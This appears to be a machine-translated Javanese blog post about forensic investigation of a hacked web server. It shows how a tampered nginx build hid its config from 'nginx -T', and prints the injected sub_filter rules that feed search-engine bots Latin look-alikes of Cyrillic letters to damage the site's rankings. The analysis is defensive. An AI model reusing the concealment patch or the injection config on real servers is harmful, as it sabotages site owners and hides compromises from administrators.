Nalika 'a' ora padha karo 'a'. Ing tangi saka hack

Ana crita sing paling ora nyenengake kanggo salah sawijining kancaku. Nanging minangka ora nyenengake kanggo Mikhail, iku mung minangka panglipur kanggo kula.

Aku kudu ngomong yen kancaku cukup UNIX-user: bisa nginstal sistem dhewe MySQL, php lan nggawe setelan prasaja nginx.
Lan dheweke duwe rolas utawa siji lan setengah situs web khusus kanggo alat konstruksi.

Salah sawijining situs sing darmabakti kanggo gergaji njagong kanthi mantep ing TOP mesin telusuran. Situs iki minangka reviewer non-komersial, nanging ana sing duwe kebiasaan nyerang. Iku DDoS, banjur brute force, banjur padha nulis komentar saru lan ngirim abuses kanggo hosting lan kanggo RKN.
Semalat, kabeh dadi tenang lan kalem iki dadi ora apik, lan situs kasebut wiwit alon-alon ninggalake garis ndhuwur asil panelusuran.

Nalika 'a' ora padha karo 'a'. Ing tangi saka hack

Kuwi paribasan, banjur critane admin dhewe.

Wis meh turu nalika telpon muni: "San, apa sampeyan ora ndeleng serverku? Iku misale jek kula disusupi, aku ora bisa mbuktekaken, nanging koyo wis ora ninggalake kula kanggo minggu katelu. Mungkin iki wektune aku njaluk perawatan kanggo paranoia?"

Ingkang salajengipun inggih menika diskusi setengah jam ingkang saged dipunringkes kados ing ngandhap menika:

  • lemah kanggo hacking cukup subur;
  • panyerang bisa entuk hak superuser;
  • serangan (yen kedaden) iki diangkah khusus ing situs iki;
  • wilayah masalah wis didandani lan sampeyan mung kudu ngerti apa ana seng nembus;
  • hack ora bisa mengaruhi kode situs lan database.

Babagan titik pungkasan.

Nalika 'a' ora padha karo 'a'. Ing tangi saka hack

Mung IP frontend putih katon ing donya. Ora ana ijol-ijolan antarane backend lan frontend kajaba http (s), pangguna / sandhi beda, ora ana tombol sing diijolke. Ing alamat abu-abu, kabeh port kajaba 80/443 ditutup. IP backend putih mung dikenal kanggo rong pangguna, sing dipercaya Mikhail.

Dipasang ing ngarep Debian 9 lan ing wektu telpon digawe, sistem diisolasi saka donya dening firewall external lan mandheg.

"Ok, wenehi aku akses," aku mutusake kanggo nundha turu sajrone jam. "Aku bakal ndeleng kanthi mripatku dhewe."

Kene lan luwih:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Nggolek hack bisa

Aku miwiti server, pisanan ing ngluwari-mode. Aku masang disk lan loncat karo muter awak wewenang-log, Sajarah, log sistem, lan liya-liyane, yen bisa, aku mriksa tanggal nggawe file, sanajan aku ngerti manawa krupuk normal bakal "nyapu" sawise awake dhewe, lan Misha wis "diidak-idak" akeh nalika dheweke nggoleki awake dhewe. .

Aku miwiti ing mode normal, durung ngerti tenan apa goleki, Aku sinau configs. Kaping pisanan, aku kasengsem ing nginx wiwit, ing umum, ana apa-apa liya ing frontend kajaba iku.
Ing configs cilik, uga kabentuk menyang rolas file, Aku mung katon liwat mau kucing'oh siji-siji. Kabeh katon resik, nanging sampeyan ora ngerti yen aku ora kejawab kalebu, ayo nggawe dhaptar lengkap:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Aku ora ngerti: "Endi dhaptar?"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Pitakonan kapindho ditambahake menyang pitakonan dhaptar: "Napa versi nginx kuno?"

Kajaba iku, sistem percaya yen versi paling anyar wis diinstal:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

Aku nelpon:
- Misha, kok ngumpul maneh nginx?
- Tangi, aku malah ora ngerti carane nindakake iki!
- Oke, ayo turu ...

Nginx cetha dibangun maneh lan output saka listing nggunakake "-T" didhelikake kanggo alesan. Ora ana keraguan maneh babagan peretasan lan sampeyan mung bisa nampa lan (amarga Misha ngganti server karo sing anyar) nimbang masalah kasebut wis rampung.

Lan pancen, amarga ana wong sing entuk hak ROOT'ah, banjur mung nggawe akal instal maneh sistem, lan ora ana gunane kanggo nggoleki apa sing salah ana, nanging wektu iki penasaran ngalahake turu. Kepiye carane bisa ngerteni apa sing pengin didhelikake saka kita?

Ayo nyoba nglacak:

$ strace nginx -T

We katon ing, ana cetha ora cukup garis ing tilak a la

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Mung kanggo seneng-seneng, ayo mbandhingake temuan.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Aku bagéan saka kode /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

digawa menyang formulir:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

utawa

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

mula listing dening "-T" ora ditampilake.

Nanging kepiye carane bisa ndeleng konfigurasi kita?

Yen pikiranku bener lan masalah mung ana ing variabel ngx_dump_config ayo nyoba nginstal nggunakake gdb, untunge ana kuncine --karo-cc-opt -g saiki lan pangarep-arep sing Optimization -O2 iku ora bakal natoni kita. Ing wektu sing padha, amarga aku ora ngerti carane ngx_dump_config bisa diproses ing kasus 'T':, kita ora bakal nelpon pemblokiran iki, nanging nginstal nggunakake kasus 't':

Napa sampeyan bisa nggunakake '-t' uga '-T'Pangolahan Blok yen (ngx_dump_config) mengkono nang yen (ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Mesthi, yen kode diganti ing bagean iki lan ora ing kasus 'T':, banjur caraku ora bisa.

Tes nginx.confSawise ngrampungake masalah kasebut kanthi eksperimen, ditetepake manawa konfigurasi minimal dibutuhake supaya malware bisa digunakake nginx jinis:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Kita bakal nggunakake kanggo brevity ing artikel.

Bukak debugger

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Langkah-langkah:

  • nyetel breakpoint ing fungsi utama ()
  • miwiti program
  • ngganti Nilai saka variabel sing nemtokake output saka config ngx_dump_config=1
  • nerusake / mungkasi program

Kaya sing kita deleng, konfigurasi nyata beda karo kita, kita milih potongan parasit saka iku:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Ayo ndeleng apa sing kedadeyan ing kene kanthi urutan.

Ditemtokake Agen Panganggo'yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Kaca layanan ora kalebu wordpress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

Lan kanggo wong-wong sing tiba ing loro kondisi ndhuwur

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

ing teks html-kaca ganti 'O' ing 'o' и 'A' ing 'a':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Sing bener, mung subtlety iku 'a'! = 'a' uga 'o'! = 'o':

Nalika 'a' ora padha karo 'a'. Ing tangi saka hack

Mangkono, bot mesin telusur nampa, tinimbang teks Cyrillic 100% normal, sampah sing dimodifikasi sing diencerake nganggo basa Latin. 'a' и 'o'. Aku ora wani ngrembug babagan carane iki mengaruhi SEO, nanging ora mungkin yen jumble huruf kasebut bakal duwe pengaruh positif ing posisi ing asil panelusuran.

Apa sing bisa dakkandhakake, wong lanang sing duwe imajinasi.

referensi

Debugging karo GDB
gdb(1) — Linux man page
strace (1) - kaca manual Linux
Nginx - Modul ngx_http_sub_module
Babagan saws, chainsaws lan saws listrik

Source: www.habr.com

Add a comment